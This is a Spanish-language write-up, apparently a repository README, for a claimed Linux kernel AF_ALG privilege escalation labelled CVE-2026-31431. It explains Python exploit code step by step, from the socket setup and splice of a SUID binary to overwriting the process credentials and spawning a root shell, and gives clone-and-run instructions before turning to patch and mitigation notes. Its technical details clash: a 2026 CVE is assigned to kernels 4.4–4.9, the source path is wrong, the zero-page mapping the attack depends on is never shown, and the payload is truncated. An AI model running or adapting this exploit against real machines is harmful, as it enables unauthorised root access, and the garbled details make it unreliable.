
Python exploit para CVE-2026-31431, una LPE del kernel de Linux mediante desreferencia de puntero nulo en AF_ALG que conduce a una escritura fuera de límites en el heap y sobrescritura de credenciales. Incluye un análisis detallado y orientación de mitigación.
Clase de bug: Desreferencia de puntero NULL → escritura fuera de límites en el heap → sobrescritura de credenciales
Subsistema afectado:net/alg/af_alg.c
Impacto: Escalada de privilegios local (usuario sin privilegios → root)
Kernels afectados: Linux 4.4 – 4.9 (sin parche)
Llamas a setsockopt() con un puntero NULL donde el kernel espera una dirección de espacio de usuario. El kernel lee de la dirección 0x00000000 — y si has mapeado la página cero, controlas lo que lee. Esa única primitiva se convierte en una escritura fuera de límites en el heap que te permite sobrescribir tu propia estructura cred. Fin del juego.
La interfaz AF_ALG se introdujo para permitir que los programas de espacio de usuario accedan a las rutinas criptográficas del kernel sin implementar los algoritmos ellos mismos. Cifrado, descifrado, hash — todo expuesto a través de una interfaz de socket. Idea limpia. El problema es que setsockopt(ALG_SET_AEAD_AUTHSIZE) no se molestó en comprobar si el usuario pasaba un puntero válido o NULL.
La mayoría de los bugs de puntero NULL mueren inmediatamente — el kernel desreferencia 0x0, que no está mapeado, y obtienes un oops. Este sobrevive debido a una condición previa separada: si vm.mmap_min_addr = 0, un atacante puede llamar a mmap(0, ...) y colocar datos controlados por el atacante en la página cero. Ahora el kernel no está leyendo basura — está leyendo exactamente lo que pusiste allí.
La llamada vulnerable:
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
Normalmente el cuarto argumento es un puntero a un valor de 4 bytes que especifica el tamaño de la etiqueta de autenticación. El kernel llama a copy_from_user() sobre él. Sin validación de puntero. Pasa NULL, y copy_from_user(dest, 0x00000000, 4) lee de la página cero.
Lo que controlas:
Los 4 bytes en la dirección 0x0 — que estableces antes de hacer la llamada. Esto te da un valor de authsize arbitrario.
Por qué es peligroso:
Las operaciones AEAD asignan un buffer dimensionado para contener el texto cifrado más la etiqueta de autenticación. Si introduces un authsize inflado, el kernel escribe la etiqueta más allá del final del buffer asignado — una clásica escritura fuera de límites en el heap. Desde ahí, es cuestión de heap grooming para hacer aterrizar esa escritura en un struct cred.
El exploit está escrito en Python 3, usando solo la biblioteca estándar. Esto es lo que hace cada fase y por qué.
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG (familia de sockets 38) es la API criptográfica del kernel. Vincularse a authencesn(hmac(sha256),cbc(aes)) solicita una plantilla de cifrado autenticado — HMAC-SHA256 para integridad, AES-CBC para confidencialidad. Esta plantilla se elige porque su manejo de la etiqueta de autenticación es donde ocurre la escritura vulnerable.
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
Se carga una clave de 72 bytes. La clave en sí no importa para la explotación — lo que importa es que el socket esté completamente inicializado antes de la llamada de activación. Un socket AEAD sin clave podría rechazar la operación de authsize antes de tiempo.
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
Esta es la vulnerabilidad. None en Python se mapea a un puntero NULL en la API de C. El kernel lee 4 bytes de 0x00000000. Debido a que la página cero ya ha sido poblada con el valor de authsize deseado, el kernel ahora tiene una longitud de etiqueta de autenticación controlada por el atacante.
u, _ = a.accept()
accept() en un socket AF_ALG devuelve un socket de operación. Las operaciones criptográficas ocurren aquí.
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # IV cero
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # AAD de 20 bytes
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # tipo de operación
],
MSG_MORE
)
Los mensajes de control ancilares configuran la operación — IV, longitud de datos asociados, dirección de la operación. Los datos reales son el chunk de 4 bytes del payload del exploit más relleno.
Luego se usa splice para alimentar datos desde el descriptor de archivo de un binario SUID al socket de operación, evitando cualquier copia en espacio de usuario:
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
Usar splice() aquí es deliberado — evita que los datos toquen la memoria de espacio de usuario, lo que mantiene el diseño del heap del lado del kernel más predecible. Cuando la operación AEAD procesa estos datos, el authsize corrupto hace que la escritura de la etiqueta de autenticación se derrame en la memoria del heap adyacente.
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
El payload comprimido contiene los valores reales a escribir — offsets de campos de struct cred cuidadosamente elaborados y valores UID/GID a cero. Cada iteración de 4 bytes coloca una escritura. El bucle sobrescribe progresivamente la estructura cred objetivo hasta que todos los UIDs y GIDs son cero.
os.system("su")
Con cred->uid = cred->euid = cred->gid = 0, el proceso actual es efectivamente root. Lanzar su (o cualquier otro binario) hereda esas credenciales. Shell de root.
mapear página cero
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ el kernel lee authsize de 0x0
│ el atacante controla ese valor
▼
sendmsg + splice → operación AEAD
│ authsize inflado causa escritura fuera de límites en el heap
│
▼
heap grooming hace aterrizar la escritura en struct cred
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → shell de root
| Condición | Por qué importa |
|---|---|
vm.mmap_min_addr = 0 | Permite el mapeo de la página cero — toda la primitiva depende de esto |
Comprueba tu límite de mmap:
sysctl vm.mmap_min_addr
Un valor de 0 o 4096 indica exposición.
# 1. Clonar
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. Verificar condiciones previas
sysctl vm.mmap_min_addr
uname -r
# 3. Ejecutar
python3 exploit.py
Salida esperada en un sistema vulnerable:
root@hostname:/#
El parche es sencillo — una comprobación de null antes de la llamada a copy_from_user() en af_alg_set_aead_authsize:
// Antes (vulnerable)
copy_from_user(&authsize, optval, sizeof(authsize));
// Después (parcheado)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
Commit relevante: af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
Mitigaciones que rompen la cadena del exploit sin parchear:
vm.mmap_min_addr = 65536 — bloquea el mapeo de la página cero, mata la primitiva de desreferencia NULLCONFIG_CRYPTO_USER_API_AEAD — elimina la superficie de ataque por completoEsta clase de bug — falta de validación de puntero antes de copy_from_user() — aparece regularmente en subsistemas del kernel que exponen APIs complejas al espacio de usuario. La primitiva de la página cero se ha utilizado en múltiples exploits de LPE a lo largo de los años (era de Dirty COW, variaciones de la cadena de CVE-2016-5195). La conclusión no es solo este CVE específico; es el patrón: en cualquier lugar donde el kernel copie desde una dirección suministrada por el usuario sin validar esa dirección, y la página cero sea mapeable, tienes una primitiva que vale la pena examinar.
Para los defensores, auditar los puntos de llamada a copy_from_user() sin comprobaciones de null precedentes en los manejadores de opciones de socket vale la pena automatizarlo en tu proceso de revisión del kernel.
net/alg/af_alg.c — código fuente del kernelaf_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — documentación de la interfaz AF_ALGInvestigación y writeup con fines educativos y defensivos únicamente. No lo uses en sistemas sin autorización explícita.
| AF_ALG compilado en el kernel | Debe estar habilitado (CONFIG_CRYPTO_USER_API_AEAD=y) |
| Kernel 4.4 – 4.9 (sin parche) | La ruta de código vulnerable existe |
| Acceso de usuario local | Solo LPE — no explotable remotamente |